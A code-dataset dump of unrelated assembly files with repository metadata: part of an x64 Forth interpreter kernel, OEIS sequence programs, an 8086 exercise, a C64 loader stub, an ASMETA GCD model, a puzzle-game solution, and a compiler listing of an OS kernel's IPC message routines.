start_def INL, swap, "swap"
swap
end_def swap
start_def ASM, tor, ">r"
pop rax
to_r
push rax
end_def tor
start_def ASM, rfrom, "r>"
pop rax
r_from
push rax
end_def rfrom
start_def ASM, rat, "r@"
pushthing [rsp + 8]
end_def rat
start_def INL, ddup, "2dup"
ddup
end_def ddup
start_def INL, ddrop, "2drop"
ddrop
end_def ddrop
start_def INL, over, "over"
over
end_def over
start_def INL, rot, "rot"
xchg TOS, [PSP]
xchg TOS, [PSP+8]
end_def rot
start_def INL, fetch, "@"
mov TOS, [TOS]
end_def fetch
start_def INL, store, "!"
mov W, [PSP]
mov [rdi], W
add PSP, CELL * 2
xchg rdi, [PSP - CELL]
end_def store
start_def INL, cstore, "c!"
mov eax, [PSP]
mov BYTE [rdi], al
mov rdi, [PSP+CELL]
add PSP, CELL * 2
end_def cstore
start_def INL, dstore, "d!"
mov eax, [PSP]
mov [rdi], eax
mov rdi, [PSP+CELL]
add PSP, CELL * 2
end_def dstore
start_def INL, cell, "cell"
pushthing 8
end_def cell
start_def INL, cells, "cells"
shl TOS, 3
end_def cells
start_def INL, getname, ">name"
add rdi, 17
xor eax, eax
mov al, [TOS]
inc rdi
pushthing rax
end_def getname
;;; ------------------------------------------------------------------------
;;; DLLs and function pointers
;;; ------------------------------------------------------------------------
start_def INL, kernel32, "kernel32"
pushthing KERNEL32_BASE
end_def kernel32
start_def ASM, gpa, "getproc" ; ( dll cstr -- a )
mov rcx, [PSP]
mov rdx, rdi
add PSP, 8
W32Call W32_GetProcAddress
mov rdi, rax
end_def gpa
;;; ------------------------------------------------------------------------
;;; Constants / compiler state variables
;;; ------------------------------------------------------------------------
start_def INL, psp, "psp"
pushthing PSP
end_def psp
start_def INL, globals, "globals"
pushthing r15
end_def globals
;;; ------------------------------------------------------------------------
;;; Basic math operations
;;; ------------------------------------------------------------------------
start_def INL, plus, "+"
add TOS, [PSP]
add PSP, CELL
end_def plus
start_def INL, minus, "-"
xchg TOS, [PSP]
sub TOS, [PSP]
add PSP, CELL
end_def minus
start_def INL, mul, "*"
mov rax, [PSP]
imul TOS
mov TOS, rax
add PSP, CELL
end_def mul
start_def INL, divmod, "/mod"
mov rax, [PSP]
xor edx, edx
cqo
idiv TOS
mov TOS, rax
mov [PSP], rdx
end_def divmod
start_def ASM, div, "/"
call code_divmod
nip
end_def div
start_def INL, and, "and"
and TOS, [PSP]
add PSP, CELL
end_def and
start_def INL, or, "or"
or TOS, [PSP]
add PSP, CELL
end_def or
start_def INL, xor, "xor"
xor TOS, [PSP]
add PSP, CELL
end_def xor
;;; ------------------------------------------------------------------------
;;; Counted string comparison
;;; ------------------------------------------------------------------------
;;; 40 bytes
start_def ASM, compare, "compare"
%push bob ;
add PSP, CELL * 3 ; clear the stack
cmp TOS, [PSP - 2 * CELL] ; check if lengths differ
jne .fail ; fail if so
mov rsi, [PSP - CELL] ; string 1
mov rdi, [PSP - 3 * CELL] ; string 2
mov rcx, [PSP - 2 * CELL] ; count
repe cmpsb ; find non-matching bytes
.test: jz .succ ;
.fail: xor edi, edi ; return 0
ret ;
.succ: xor edi, edi ; return -1
dec edi ;
%pop bob
end_def compare
;;; ------------------------------------------------------------------------
;;; Given a counted string, find the dictionary entry with that name
;;; ------------------------------------------------------------------------
start_def ASM, lookup, "lookup"
push TOS
push QWORD [PSP]
call code_ddrop
pushthing G_LAST
.words: call code_dup ; stack: last last
call code_getname ; stack: last a u
pushthing [rsp] ; stack: last a u a'
pushthing [rsp + CELL] ; stack: last a u a' u'
call code_compare ; stack: last b
popthing rax ; stack: last
test eax, eax ; stack: last
jnz .succ ; stack: last
.fetch: mov TOS, [TOS] ; stack: last'
test TOS, TOS ; loop if pointer isn't NULL
jnz .words ; ...
xor edi, edi ; failed, return NULL
.succ: add rsp, 0x10 ; fix stack frame
end_def lookup
;;; ------------------------------------------------------------------------
;;; get XT from dictionary entry
;;; ------------------------------------------------------------------------
start_def INL, getxt, ">xt"
mov eax, [TOS+13]
add TOS, rax
end_def getxt
start_def INL, execute, "execute"
xchg rax, rdi
mov rdi, [r12]
add r12, 8
call rax
end_def execute
;;; ------------------------------------------------------------------------
;;; Enumerate the contents of the dictionary
;;; ------------------------------------------------------------------------
start_def ASM, words, "words"
pushthing G_DICT ; Searching through the dictionary...
pushthing G_LAST ; Start at the last definition
words: call code_dup ; traverse the dictionary
call code_getname ; ...
call code_type ; print the names
call code_space ; space delimited
call code_fetch ; next name
test edi, edi ; check for 0 as final link pointer
jnz words
call code_ddrop
call code_cr
end_def words
;;; ------------------------------------------------------------------------
;;; Exit the program immediately
;;; ------------------------------------------------------------------------
start_def ASM, bye, "bye"
xor ecx, ecx
W32Call W32_ExitThread
end_def bye
;;; ------------------------------------------------------------------------
;;; Print out a value on the stack
;;; ------------------------------------------------------------------------
;;; OPTIMIZE
start_def ASM, dot, "."
push rsi
push rcx
push rbx
push rdx
push rax
popthing rax
mov rsi, G_SCRATCH
add rsi, 0x100
xor ecx, ecx
mov rbx, G_BASE
.lp: xor edx, edx
div rbx
add dl, 0x30
cmp dl, 0x39
jle .dec ; check for non-numeric values
add dl, 0x27 ; bump up to the alphabet if not decimal
.dec: mov [rsi], dl
dec rsi
inc rcx
and rax, rax
jnz .lp
inc rsi
pushthing rsi
pushthing rcx
call code_type
call code_space
pop rax
pop rdx
pop rbx
pop rcx
pop rsi
end_def dot
;;; ------------------------------------------------------------------------
;;; A really crude hexdump function
;;; ------------------------------------------------------------------------
start_def ASM, dump, "dump"
popthing rcx ; counter
popthing rbx ; base address
mov rax, G_BASE ; save old numeric base
push rax ; ...
mov rax, 16 ; set to hex for a hex dump (duh)
mov G_BASE, rax ; ...
xor eax, eax ; store bytes in A register
mov esi, eax ; track offset from starting address
.loop: and rsi, 0xf ; every 16 bytes go to another line
jnz .mid ; otherwise, skip
call code_cr ; new line
pushthing rbx ; print current address
call code_dot ; ...
call code_space ; ...
.mid: mov al, [rbx] ; get a byte
inc rbx ; increment counters
inc rsi ; ...
pushthing rax ; get ready to print its value
test dil, 0xf0 ; if it's small, we need a leading 0
jnz .2dig ; ...
pushthing 0x30 ; ...
call code_emit ; ...
.2dig: call code_dot ; print the value
loop .loop ; repeat
pop rax ; restore old numeric base
mov G_BASE, rax ; ...
call code_cr
end_def dump
;;; ------------------------------------------------------------------------
;;; System banner
;;; ------------------------------------------------------------------------
start_def ASM, banner, "banner"
call .b
.a: db 27, "[35;1mEvil#", 27, "[36;1mForth", 27, "[0m", 10
.b: pop rax
pushthing rax
pushthing .b - .a
call code_type
end_def banner
;;; ------------------------------------------------------------------------
;;; Extract one byte from a memory region, and advance the pointer
;;; ------------------------------------------------------------------------
start_def ASM, walk, "walk" ; ( a u -- a+1 u-1 c )
push rax
call code_over
xor eax, eax
mov al, [TOS]
mov TOS, rax
dec QWORD [PSP]
inc QWORD [PSP + CELL]
pop rax
end_def walk
;;; ------------------------------------------------------------------------
;;; Store data in the dictionary
;;; ------------------------------------------------------------------------
start_def INL, comma, ","
mov rax, G_HERE
add qword G_HERE, 8
mov [rax], rdi
mov rdi, [r12]
add r12, 8
end_def comma
start_def INL, ccomma, "c,"
mov rax, G_HERE
inc qword G_HERE
mov [rax], dil
mov rdi, [r12]
add r12, 8
end_def ccomma
start_def INL, wcomma, "w,"
mov rax, G_HERE
add qword G_HERE, 2
mov [rax], di
mov rdi, [r12]
add r12, 8
end_def wcomma
start_def INL, dcomma, "d,"
mov rax, G_HERE
add qword G_HERE, 4
mov [rax], edi
mov rdi, [r12]
add r12, 8
end_def dcomma
;;; ------------------------------------------------------------------------
;;; Sleep for indicated number of milliseconds
;;; ------------------------------------------------------------------------
start_def ASM, ms, "ms"
popthing rcx
W32Call W32_Sleep
end_def ms
| 22.011876
| 76
| 0.505234
|
44eda15b63187a4d03e3e6c3fb9f2a0071ea2f6a
| 751
|
asm
|
Assembly
|
oeis/207/A207009.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/207/A207009.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/207/A207009.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A207009: Number of n X 2 0..2 arrays avoiding the patterns z z+1 z or z z-1 z in any row or column.
; Submitted by Christian Krause
; 9,81,529,3721,25921,180625,1256641,8743849,60855601,423577561,2948164209,20519130025,142812189025,993971114361,6918041467089,48149568342121,335120802753025,2332439189580889,16233767034063601,112986956712855625,786388787272351201,5473262893635319225,38093888267863573201,265133313244255005225,1845326824622966130625,12843467493346370987929,89390483580491087769009,622157416455723400175625,4330213187715856172269729,30138266868792344667275641,209762219660686307017150609,1459944229320547629735435241
seq $0,207008 ; Number of n X 1 0..2 arrays avoiding the patterns z z+1 z or z z-1 z in any row or column.
pow $0,2
| 107.285714
| 499
| 0.85486
|
967404f6819cbef78e1e4d1c966600c3b3e3df5b
| 327
|
asm
|
Assembly
|
汇编语言/第6章/6.asm
|
jckling/only-python
|
9600d798889dfc38b8ecd65abd26e4ce657910d9
|
[
"MIT"
] | 1
|
2019-10-12T01:09:15.000Z
|
2019-10-12T01:09:15.000Z
|
汇编语言/第6章/6.asm
|
jckling/only-python
|
9600d798889dfc38b8ecd65abd26e4ce657910d9
|
[
"MIT"
] | null | null | null |
汇编语言/第6章/6.asm
|
jckling/only-python
|
9600d798889dfc38b8ecd65abd26e4ce657910d9
|
[
"MIT"
] | 1
|
2019-10-12T01:10:13.000Z
|
2019-10-12T01:10:13.000Z
|
;用push指令将a段中的前8个字型数据，逆序存储到b段中
assume cs:code
a segment
dw 1,2,3,4,5,6,7,8,9,0ah,0bh,0ch,0dh,0eh,0fh,0ffh
a ends
b segment
dw 0,0,0,0,0,0,0,0
b ends
code segment
start:
mov ax,b
mov ss,ax
mov sp,16
mov ax,a
mov ds,ax
mov bx,0
mov cx,8
s: push [bx]
add bx,2
loop s
mov ax,4c00h
int 21h
code ends
end start
| 10.21875
| 50
| 0.669725
|
6ceea3650daaa7bf94d3c107ee69e7c4accddb33
| 613
|
asm
|
Assembly
|
example/example_project/installer/installer.asm
|
d23/bitfire
|
94341b7d5e2fdf1264d5f18e52d1f0f02cb5a3ef
|
[
"BSD-3-Clause"
] | 27
|
2016-06-24T22:01:06.000Z
|
2022-03-13T17:06:27.000Z
|
example/example_project/installer/installer.asm
|
d23/bitfire
|
94341b7d5e2fdf1264d5f18e52d1f0f02cb5a3ef
|
[
"BSD-3-Clause"
] | 9
|
2020-05-10T12:58:46.000Z
|
2022-03-03T06:11:04.000Z
|
example/example_project/installer/installer.asm
|
d23/bitfire
|
94341b7d5e2fdf1264d5f18e52d1f0f02cb5a3ef
|
[
"BSD-3-Clause"
] | 11
|
2016-06-12T07:15:15.000Z
|
2021-11-23T13:47:07.000Z
|
;linking helper macros
!src "../macros/link_macros_acme.inc"
;loader labels
!src "../loader/loader_acme.inc"
!ifndef link_exit {
link_exit = $0100
}
* = bitfire_install_
!bin "../loader/installer",,2
* = $0900
.init
;install loader
jsr bitfire_install_
;reset stack shits
sei
lda #$35
sta $01
ldx #$ff
txs
;load stage 2, either loaded by bootloader or after turn disk
jsr link_load_next_raw
;XXX TODO here it would also be possible to laod a custom link_resident part per side, but would require includes per side and resident part
jmp link_exit
| 19.774194
| 143
| 0.680261
|
c32cfd1de82d64b9c07f69b9c1e0857af4264add
| 1,821
|
asm
|
Assembly
|
programs/oeis/249/A249450.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/249/A249450.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/249/A249450.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A249450: Alternate Fibonacci numbers - 2.
; -2,-1,1,6,19,53,142,375,985,2582,6763,17709,46366,121391,317809,832038,2178307,5702885,14930350,39088167,102334153,267914294,701408731,1836311901,4807526974,12586269023,32951280097,86267571270,225851433715,591286729877,1548008755918,4052739537879,10610209857721,27777890035286,72723460248139,190392490709133,498454011879262,1304969544928655,3416454622906705,8944394323791462,23416728348467683,61305790721611589,160500643816367086,420196140727489671,1100087778366101929,2880067194370816118,7540113804746346427,19740274219868223165,51680708854858323070,135301852344706746047,354224848179261915073,927372692193078999174,2427893228399975082451,6356306993006846248181,16641027750620563662094,43566776258854844738103,114059301025943970552217,298611126818977066918550,781774079430987230203435,2046711111473984623691757,5358359254990966640871838,14028366653498915298923759,36726740705505779255899441,96151855463018422468774566,251728825683549488150424259,659034621587630041982498213,1725375039079340637797070382,4517090495650391871408712935,11825896447871834976429068425,30960598847965113057878492342,81055900096023504197206408603,212207101440105399533740733469,555565404224292694404015791806,1454489111232772683678306641951,3807901929474025356630904134049,9969216677189303386214405760198,26099748102093884802012313146547,68330027629092351019822533679445,178890334785183168257455287891790,468340976726457153752543329995927,1226132595394188293000174702095993,3210056809456107725247980776292054,8404037832974134882743767626780171,22002056689466296922983322104048461,57602132235424755886206198685365214,150804340016807970735635273952047183,394810887814999156320699623170776337
mov $2,1
lpb $0
mov $3,$2
lpb $0
sub $0,$2
add $3,$1
add $1,$3
lpe
lpe
sub $1,2
mov $0,$1
| 121.4
| 1,667
| 0.911038
|
77960227970f1f45132b00e8a2cdc53b4bf37980
| 338
|
asm
|
Assembly
|
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/euclideMCD.asm
|
katema-official/Universita_magistrale_anno_1.2
|
8123bef1e519e1047bc359499fc2d8f229a19363
|
[
"MIT"
] | null | null | null |
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/euclideMCD.asm
|
katema-official/Universita_magistrale_anno_1.2
|
8123bef1e519e1047bc359499fc2d8f229a19363
|
[
"MIT"
] | null | null | null |
Modellazione_e_analisi_di_sistemi/eclipse_workspace_mas/esercizi/euclideMCD.asm
|
katema-official/Universita_magistrale_anno_1.2
|
8123bef1e519e1047bc359499fc2d8f229a19363
|
[
"MIT"
] | null | null | null |
asm euclideMCD
import StandardLibrary
signature:
controlled numA: Integer
controlled numB: Integer
definitions:
main rule r_Main =
if(numA != numB) then
if (numA > numB) then
numA := numA - numB
else
numB := numB - numA
endif
endif
// INITIAL STATE
default init s0:
function numA = 6409
function numB = 3289
| 14.695652
| 25
| 0.689349
|
9348edd39580771b62ac42d091c1bd9c86815be9
| 466
|
asm
|
Assembly
|
solutions/61 - Lazy Pathways/size-18_speed-203.asm
|
michaelgundlach/7billionhumans
|
02c6f3963364362c95cb516cbc6ef1efc073bb2e
|
[
"MIT"
] | 45
|
2018-09-05T04:56:59.000Z
|
2021-11-22T08:57:26.000Z
|
solutions/61 - Lazy Pathways/size-18_speed-203.asm
|
michaelgundlach/7billionhumans
|
02c6f3963364362c95cb516cbc6ef1efc073bb2e
|
[
"MIT"
] | 36
|
2018-09-01T11:34:26.000Z
|
2021-05-19T23:20:49.000Z
|
solutions/61 - Lazy Pathways/size-18_speed-203.asm
|
michaelgundlach/7billionhumans
|
02c6f3963364362c95cb516cbc6ef1efc073bb2e
|
[
"MIT"
] | 36
|
2018-09-01T07:44:19.000Z
|
2021-09-10T19:07:35.000Z
|
-- 7 Billion Humans (2145) --
-- 61: Lazy Pathways --
-- Author: landfillbaby
-- Size: 18
-- Speed: 203
a:
mem4 = nearest datacube
step mem4
mem2 = foreachdir nw,w,sw,n,s,ne,e,se:
if mem2 == datacube and
mem2 < mem1 or
mem1 != datacube:
mem1 = set mem2
endif
if mem2 == 99:
mem3 = set mem2
endif
endfor
mem1 = calc mem1 + 1
if mem4 > mem1:
pickup c
write mem1
drop
endif
if mem3 == 99:
step mem3
mem3 = set 0
else:
step nw,w,sw,n,s,e
endif
jump a
| 14.121212
| 38
| 0.645923
|
3734ca0c357ee46ff6493e7d4d6b66c8642a5221
| 8,889
|
asm
|
Assembly
|
Aurora/Aurora/x64/Debug/message.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | 8
|
2021-07-19T04:46:35.000Z
|
2022-03-12T17:56:00.000Z
|
Aurora/Aurora/x64/Debug/message.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
Aurora/Aurora/x64/Debug/message.asm
|
manaskamal/aurora-xeneva
|
fe277f7ac155a40465c70f1db3c27046e4d0f7b5
|
[
"BSD-2-Clause"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?message_init@@YAXXZ ; message_init
PUBLIC ?message_send@@YAXGPEAU_message_@@@Z ; message_send
PUBLIC ?message_receive@@YAXPEAU_message_@@@Z ; message_receive
PUBLIC ?is_message_queue_empty@@YA_NXZ ; is_message_queue_empty
EXTRN memcpy:PROC
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
EXTRN ?pmmngr_free@@YAXPEAX@Z:PROC ; pmmngr_free
EXTRN x64_cli:PROC
EXTRN ?unblock_thread@@YAXPEAU_thread_@@@Z:PROC ; unblock_thread
EXTRN ?get_current_thread@@YAPEAU_thread_@@XZ:PROC ; get_current_thread
EXTRN ?thread_iterate_ready_list@@YAPEAU_thread_@@G@Z:PROC ; thread_iterate_ready_list
EXTRN ?thread_iterate_block_list@@YAPEAU_thread_@@H@Z:PROC ; thread_iterate_block_list
EXTRN ?create_mutex@@YAPEAUmutex_t@@XZ:PROC ; create_mutex
EXTRN ?mutex_lock@@YAXPEAUmutex_t@@@Z:PROC ; mutex_lock
EXTRN ?mutex_unlock@@YAXPEAUmutex_t@@@Z:PROC ; mutex_unlock
_BSS SEGMENT
ipc_mutex_msg DQ 01H DUP (?)
ipc_rcv_msg DQ 01H DUP (?)
top DQ 01H DUP (?)
_BSS ENDS
pdata SEGMENT
$pdata$?message_send@@YAXGPEAU_message_@@@Z DD imagerel $LN5
DD imagerel $LN5+182
DD imagerel $unwind$?message_send@@YAXGPEAU_message_@@@Z
$pdata$?message_receive@@YAXPEAU_message_@@@Z DD imagerel $LN7
DD imagerel $LN7+169
DD imagerel $unwind$?message_receive@@YAXPEAU_message_@@@Z
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??__Eipc_mutex_msg@@YAXXZ DD imagerel ??__Eipc_mutex_msg@@YAXXZ
DD imagerel ??__Eipc_mutex_msg@@YAXXZ+21
DD imagerel $unwind$??__Eipc_mutex_msg@@YAXXZ
pdata ENDS
; COMDAT pdata
pdata SEGMENT
$pdata$??__Eipc_rcv_msg@@YAXXZ DD imagerel ??__Eipc_rcv_msg@@YAXXZ
DD imagerel ??__Eipc_rcv_msg@@YAXXZ+21
DD imagerel $unwind$??__Eipc_rcv_msg@@YAXXZ
pdata ENDS
pdata SEGMENT
$pdata$?is_message_queue_empty@@YA_NXZ DD imagerel $LN5
DD imagerel $LN5+39
DD imagerel $unwind$?is_message_queue_empty@@YA_NXZ
pdata ENDS
CRT$XCU SEGMENT
ipc_mutex_msg$initializer$ DQ FLAT:??__Eipc_mutex_msg@@YAXXZ
CRT$XCU ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??__Eipc_rcv_msg@@YAXXZ DD 010401H
DD 04204H
xdata ENDS
; COMDAT xdata
xdata SEGMENT
$unwind$??__Eipc_mutex_msg@@YAXXZ DD 010401H
DD 04204H
xdata ENDS
xdata SEGMENT
$unwind$?message_send@@YAXGPEAU_message_@@@Z DD 010e01H
DD 0820eH
$unwind$?message_receive@@YAXPEAU_message_@@@Z DD 010901H
DD 06209H
$unwind$?is_message_queue_empty@@YA_NXZ DD 010401H
DD 02204H
xdata ENDS
CRT$XCU SEGMENT
ipc_rcv_msg$initializer$ DQ FLAT:??__Eipc_rcv_msg@@YAXXZ
CRT$XCU ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
_TEXT SEGMENT
tv65 = 0
?is_message_queue_empty@@YA_NXZ PROC ; is_message_queue_empty
; 27 : bool is_message_queue_empty () {
$LN5:
sub rsp, 24
; 28 : return top == NULL;
cmp QWORD PTR top, 0
jne SHORT $LN3@is_message
mov DWORD PTR tv65[rsp], 1
jmp SHORT $LN4@is_message
$LN3@is_message:
mov DWORD PTR tv65[rsp], 0
$LN4@is_message:
movzx eax, BYTE PTR tv65[rsp]
; 29 : }
add rsp, 24
ret 0
?is_message_queue_empty@@YA_NXZ ENDP ; is_message_queue_empty
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
; COMDAT ??__Eipc_rcv_msg@@YAXXZ
text$yc SEGMENT
??__Eipc_rcv_msg@@YAXXZ PROC ; `dynamic initializer for 'ipc_rcv_msg'', COMDAT
; 20 : static mutex_t *ipc_rcv_msg = create_mutex();
sub rsp, 40 ; 00000028H
call ?create_mutex@@YAPEAUmutex_t@@XZ ; create_mutex
mov QWORD PTR ipc_rcv_msg, rax
add rsp, 40 ; 00000028H
ret 0
??__Eipc_rcv_msg@@YAXXZ ENDP ; `dynamic initializer for 'ipc_rcv_msg''
text$yc ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
; COMDAT ??__Eipc_mutex_msg@@YAXXZ
text$yc SEGMENT
??__Eipc_mutex_msg@@YAXXZ PROC ; `dynamic initializer for 'ipc_mutex_msg'', COMDAT
; 19 : static mutex_t *ipc_mutex_msg = create_mutex();
sub rsp, 40 ; 00000028H
call ?create_mutex@@YAPEAUmutex_t@@XZ ; create_mutex
mov QWORD PTR ipc_mutex_msg, rax
add rsp, 40 ; 00000028H
ret 0
??__Eipc_mutex_msg@@YAXXZ ENDP ; `dynamic initializer for 'ipc_mutex_msg''
text$yc ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
_TEXT SEGMENT
tv68 = 32
temp$ = 40
msg$ = 64
?message_receive@@YAXPEAU_message_@@@Z PROC ; message_receive
; 60 : void message_receive (message_t* msg) {
$LN7:
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 61 : x64_cli ();
call x64_cli
; 62 : mutex_lock(ipc_rcv_msg);
mov rcx, QWORD PTR ipc_rcv_msg
call ?mutex_lock@@YAXPEAUmutex_t@@@Z ; mutex_lock
; 63 :
; 64 : kernel_message_queue_t *temp;
; 65 :
; 66 : if (top == NULL)
cmp QWORD PTR top, 0
jne SHORT $LN4@message_re
; 67 : goto end;
jmp SHORT $LN3@message_re
jmp SHORT $end$8
; 68 : else {
jmp SHORT $LN2@message_re
$LN4@message_re:
; 69 : temp = top;
mov rax, QWORD PTR top
mov QWORD PTR temp$[rsp], rax
; 70 : if (temp->msg.dest_id == get_current_thread()->id) {
mov rax, QWORD PTR temp$[rsp]
movzx eax, WORD PTR [rax+58]
mov DWORD PTR tv68[rsp], eax
call ?get_current_thread@@YAPEAU_thread_@@XZ ; get_current_thread
movzx eax, WORD PTR [rax+234]
mov ecx, DWORD PTR tv68[rsp]
cmp ecx, eax
jne SHORT $LN1@message_re
; 71 : top = top->link;
mov rax, QWORD PTR top
mov rax, QWORD PTR [rax+112]
mov QWORD PTR top, rax
; 72 : temp->link = NULL;
mov rax, QWORD PTR temp$[rsp]
mov QWORD PTR [rax+112], 0
; 73 : memcpy (msg, &temp->msg,sizeof(message_t));
mov rax, QWORD PTR temp$[rsp]
mov r8d, 112 ; 00000070H
mov rdx, rax
mov rcx, QWORD PTR msg$[rsp]
call memcpy
; 74 : pmmngr_free(temp);
mov rcx, QWORD PTR temp$[rsp]
call ?pmmngr_free@@YAXPEAX@Z ; pmmngr_free
$LN1@message_re:
$LN2@message_re:
$LN3@message_re:
$end$8:
; 75 : }
; 76 : }
; 77 :
; 78 : end:
; 79 : mutex_unlock(ipc_rcv_msg);
mov rcx, QWORD PTR ipc_rcv_msg
call ?mutex_unlock@@YAXPEAUmutex_t@@@Z ; mutex_unlock
; 80 : }
add rsp, 56 ; 00000038H
ret 0
?message_receive@@YAXPEAU_message_@@@Z ENDP ; message_receive
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
_TEXT SEGMENT
temp$ = 32
blocked_thread$1 = 40
dest_thread$ = 48
dest_id$ = 80
msg$ = 88
?message_send@@YAXGPEAU_message_@@@Z PROC ; message_send
; 33 : void message_send (uint16_t dest_id, message_t *msg) {
$LN5:
mov QWORD PTR [rsp+16], rdx
mov WORD PTR [rsp+8], cx
sub rsp, 72 ; 00000048H
; 34 : x64_cli ();
call x64_cli
; 35 : mutex_lock (ipc_mutex_msg);
mov rcx, QWORD PTR ipc_mutex_msg
call ?mutex_lock@@YAXPEAUmutex_t@@@Z ; mutex_lock
; 36 : thread_t * dest_thread = thread_iterate_ready_list (dest_id);
movzx ecx, WORD PTR dest_id$[rsp]
call ?thread_iterate_ready_list@@YAPEAU_thread_@@G@Z ; thread_iterate_ready_list
mov QWORD PTR dest_thread$[rsp], rax
; 37 : if (!dest_thread) {
cmp QWORD PTR dest_thread$[rsp], 0
jne SHORT $LN2@message_se
; 38 : thread_t * blocked_thread = thread_iterate_block_list (dest_id);
movzx eax, WORD PTR dest_id$[rsp]
mov ecx, eax
call ?thread_iterate_block_list@@YAPEAU_thread_@@H@Z ; thread_iterate_block_list
mov QWORD PTR blocked_thread$1[rsp], rax
; 39 : if (blocked_thread != NULL){
cmp QWORD PTR blocked_thread$1[rsp], 0
je SHORT $LN1@message_se
; 40 : unblock_thread (blocked_thread);
mov rcx, QWORD PTR blocked_thread$1[rsp]
call ?unblock_thread@@YAXPEAU_thread_@@@Z ; unblock_thread
$LN1@message_se:
$LN2@message_se:
; 41 : }
; 42 : }
; 43 :
; 44 : msg->dest_id = dest_id;
mov rax, QWORD PTR msg$[rsp]
movzx ecx, WORD PTR dest_id$[rsp]
mov WORD PTR [rax+58], cx
; 45 : //!Actuall Message model
; 46 : kernel_message_queue_t * temp = (kernel_message_queue_t*)pmmngr_alloc();
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
mov QWORD PTR temp$[rsp], rax
; 47 :
; 48 : memcpy (&temp->msg, msg, sizeof(message_t));
mov rax, QWORD PTR temp$[rsp]
mov r8d, 112 ; 00000070H
mov rdx, QWORD PTR msg$[rsp]
mov rcx, rax
call memcpy
; 49 : temp->link = top;
mov rax, QWORD PTR temp$[rsp]
mov rcx, QWORD PTR top
mov QWORD PTR [rax+112], rcx
; 50 : top = temp;
mov rax, QWORD PTR temp$[rsp]
mov QWORD PTR top, rax
$end$6:
; 51 : end:
; 52 : mutex_unlock (ipc_mutex_msg);
mov rcx, QWORD PTR ipc_mutex_msg
call ?mutex_unlock@@YAXPEAUmutex_t@@@Z ; mutex_unlock
; 53 : }
add rsp, 72 ; 00000048H
ret 0
?message_send@@YAXGPEAU_message_@@@Z ENDP ; message_send
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\ipc\message.cpp
_TEXT SEGMENT
?message_init@@YAXXZ PROC ; message_init
; 24 : //queue->prev == NULL;
; 25 : }
ret 0
?message_init@@YAXXZ ENDP ; message_init
_TEXT ENDS
END
| 25.324786
| 86
| 0.720103
|
70605c08fb2ea4d25bb136335be9b9ff4012544a
| 1,902
|
asm
|
Assembly
|
programs/oeis/159/A159695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/159/A159695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/159/A159695.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A159695: a(0)=7, a(n) = 2*a(n-1) + 2^(n-1) for n > 0.
; 7,15,32,68,144,304,640,1344,2816,5888,12288,25600,53248,110592,229376,475136,983040,2031616,4194304,8650752,17825792,36700160,75497472,155189248,318767104,654311424,1342177280,2751463424,5637144576,11542724608,23622320128,48318382080,98784247808,201863462912,412316860416,841813590016,1717986918400,3504693313536,7146825580544,14568529068032,29686813949952,60473139527680,123145302310912,250688651132928,510173395288064,1037938976620544,2111062325329920,4292493394837504,8725724278030336,17732923532771328,36028797018963968,73183493944770560,148618787703226368,301741175033823232,612489549322387456,1242993497154256896,2522015791327477760,5116089176692883456,10376293541461622784,21040817459074957312,42658095670453338112,86469112845513523200,175244068700240740352,355099823418908868608,719423018874672513024,1457292781823054577664,2951479051793528258560,5976745079881894723584,12101064112353465860096,24497276129886284546048,